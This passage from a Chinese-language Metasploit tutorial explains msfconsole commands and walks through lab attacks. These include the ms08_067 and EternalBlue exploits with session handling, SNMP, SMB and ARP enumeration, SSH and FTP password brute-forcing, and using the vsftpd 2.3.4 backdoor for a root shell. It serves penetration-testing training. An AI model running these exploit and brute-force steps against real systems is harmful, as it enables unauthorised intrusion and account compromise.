3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界
面以及 msfapi 远程调用接口。
5、功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快
速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和
msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。
data:Metasploit 使用的可编辑文件
documentation:为框架提供文档
lib:框架代码库
modules:实际的 MSF 模块
plugins:可以在运行时加载的插件
scripts:Meterpreter 和其他脚本
tools:各种有用的命令行工具
Metasploit 基本命令
Metasploit 程序需要使用 Postgresql 数据库。
Postgresql 概述:
PostgreSQL 是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加
州大学计算机系开发的 POSTGRES 4.2 版本为基础的对象关系型数据库管理系统。
扩展:PostgreSQL 和 MySQL 数据的应用场景区别:
从应用场景来说,PostgreSQL 更加适合严格的企业应用场景(比如金融、电信、ERP、CRM),而
MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景
手动启动数据库
┌──(root💀kali)-[~]
└─# systemctl start postgresql
┌──(root💀kali)-[~]
└─# systemctl enable postgresql
Synchronizing state of postgresql.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable postgresql
Created symlink /etc/systemd/system/multi-user.target.wants/postgresql.service → /lib/systemd/system/postgresql.service.
启动 Metasploit,启动方式有两种。
第一种点击图标

第二种使用终端命令
└─# msfdb run
启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。
msf6 > help
#查看帮助信息。
注:通过 help 查看帮助,可以对 msf 有个整体认识,可以看到 msf 相关命令可以分成以下类型:
Core Commands #核心命令
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands #资源脚本命令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令
我们下面讲解一下我们常用的命令。
1、核心命令中的 connect 命令
connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect
192.168.1.1 80”
192.168.1.1 是 IP 地址 80 是端口号。
2、模块相关的命令 show 使用方法
show 命令用的很多。
“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post,
plugins, info, options
例 1:列出 metasploit 框架中的所有渗透攻击模块 exploits。
msf6 > show exploits
#列出 metasploit 框架中的所有渗透攻击模块。该命令列出数据较多,
较为耗费时间。
msf6 > show payloads #列出 metasploit 框架中的所有攻击载荷。
msf6 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷。
3、模块相关的命令 search 搜索的使用方法
当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。所以 search 搜索命令就很
重要。
当你输入 search –h 会列出 search 命令的一些选项。
msf6 > search -h
Usage: search
[ options ] <keywords> #search 后主要加选项和关键字
例 1:通过 name 关键字进行查找
这里需要用到 name:命令
msf5 > search mysql # search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述
很清楚时,使用这个方法
例:
先查找出自己想要的 ms08_067 漏洞模块。
msf6 > search ms08_067
语法:Search
Keywords 参数
:
关键字
比如 msf6 > search
name
:
mysql #
要查找 mysql 数据库的漏洞
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序。
Rank 按照可靠性降序排列:
excellent
漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、
本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great
该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服
务的版本检查之后可以返回到一个特定的返回地址。
good
该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的
Windows 7,服务器的 2012 等)
normal
该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average
该漏洞利用程序不可靠或者难以利用。
low
对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
manual
该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用
户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
例 2:通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路
径下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入:
msf6 > search path:mysql
例 3:缩小查询范围
关键字:platform
[
ˈ
pl
æ
tf
ɔː
m] 平台
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命
令后,
所查询的结果会列出 rank 比较高的模块
。如果我要查找 mysql 的漏洞,那么输入:
msf6 > search platform:mysql
例 4:通过类型进行查找
这里要使用到 type:命令。
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索 exploit 模块,那么就输入:
msf6 > search type:exploit
例 5:联合查找
大家可以使用上面的参数自行搭配使用。如果我要查找 mysql 的 exploit 相关漏洞。那么输入:
msf6 > search name:mysql type:exploit
4、模块相关的命令 use 的使用方法
use 使用参数。如你要使用到某个模块,就要使用到 use 命令
语法:use 模块的名字
5、模块相关的命令 info 的使用方法
info :显示模块的相关信息。
方法 1:info 模块名称
从弹出的消息中,需要重点关注的内容是:
(1)可用目标,
就是查看可以攻击哪些操作系统
(2)Basic options: 调用漏洞需要的相关参数
(3)漏洞描述和执行过程:
(4)参考文档
方法 2:使用 show 命令查看模块的相关信息
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看模块的选项
msf6 exploit(windows/smb/ms08_067_netapi) > show targets #查看可以攻击哪些操作系统
设置 RHOSTS 参数,指定攻击的目标机器
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.109
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看设置的值

配置好了之后我们输入 exploit 或 run 就可以执行该模块。
msf6 exploit(windows/smb/ms08_067_netapi) >
back #
使用 back 即可退出装载的模块
注:不要使用 exit,exit 会直接退出 Metasploit 程序
关闭链接 Ctrl+c
Abort session 1? [y/N] y
实战:通过会话进行连接目标机
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
-j 表示后台执行 渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
通过会话 Id 进入会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
退出会话将会话保存到后台
C:\Windows\system32>background
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
根据会话 Id 结束会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 2
拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)
C:\Windows\system32>chcp 65001
1、基于 tcp 协议收集主机信息
Metasploit 中也有 NMAP 工具

ARP 扫描
msf6 > use auxiliary/scanner/discovery/arp_sweep
查看一下模块需要配置哪些参数
msf6 auxiliary(scanner/discovery/arp_sweep) > show options
配置 RHOSTS(扫描的目标网络)即可
msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.0/24
SHOST 和 SMAC 是伪造源 IP 和 MAC 地址使用的。
配置线程数
msf6 auxiliary(scanner/discovery/arp_sweep) > set THREADS 30
msf6 auxiliary(scanner/discovery/arp_sweep) > run
msf6 auxiliary(scanner/discovery/arp_sweep) > back #退出一下
(2)使用半连接方式扫描 TCP 端口
msf6 > search portscan
2、基于 SNMP 协议收集主机信息
简单网络管理协议(SNMP,Simple Network Management Protocol),由一组网络管理的标
准组成,包含一个应用层协议(application layer protocol)、数据库模(databaseschema)和一
组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > show options
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.180
msf6 auxiliary(scanner/snmp/snmp_enum) > run
注:可以看到通过 snmp 协议探测到的信息非常多。
如服务器硬件信息和服务器当前运行的进程, 这两方面是其他扫描方式,获取不到的。
3、基于 SMB 协议收集信息
SMB 概述:服务器消息块(Server Message Block,缩写为 SMB),又称网络文件共享系统
(Common Internet File System,缩写为 CIFS),一种应用层网络传输协议,由微软开发,主要功能
使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
经过 Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。
(1)使用 smb_version 基于 SMB 协议扫描版本号
msf6 > use auxiliary/scanner/smb/smb_version
注:可以扫描出来操作系统的版本号,版本号很准确。
(2)使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)
SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。
枚举共享
msf6 > use auxiliary/scanner/smb/smb_enumshares
可以看到有 1 个是我们前面设置的 xuegod 共享文件目录还有 4 个是隐藏的共享目录。
(3)使用 smb_lookupsid 扫描系统用户信息(SID 枚举)
msf6 > use auxiliary/scanner/smb/smb_lookupsid
4、基于 SSH 协议收集信息
(1)查看 ssh 服务的版本信息
msf6 > use auxiliary/scanner/ssh/ssh_version
(2)对 SSH 暴力破解
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) >
set USERPASS_FILE /usr/share/metasploit
framework/data/wordlists/root_userpass.txt
5、基于 FTP 协议收集信息
(1)查看 ftp 服务的版本信息
加载 ftp 服务版本扫描模块
msf6 > use auxiliary/scanner/ftp/ftp_version
扫描出结果是:vsFTPd 2.3.4
msf6 auxiliary(scanner/ftp/ftp_version) > back
扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块
msf6 > search 2.3.4
我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门
我们尝试利用下这个模块
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
拿到了 shell,而且是 root 权限,我们尝试执行下命令
执行 id 命令, 查看当前用户
(2)ftp 匿名登录扫描
msf6 > use auxiliary/scanner/ftp/anonymous
(3)ftp 暴力破解
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) >
set USERPASS_FILE /usr/share/metasploit-
framework/data/wordlists/root_userpass.txt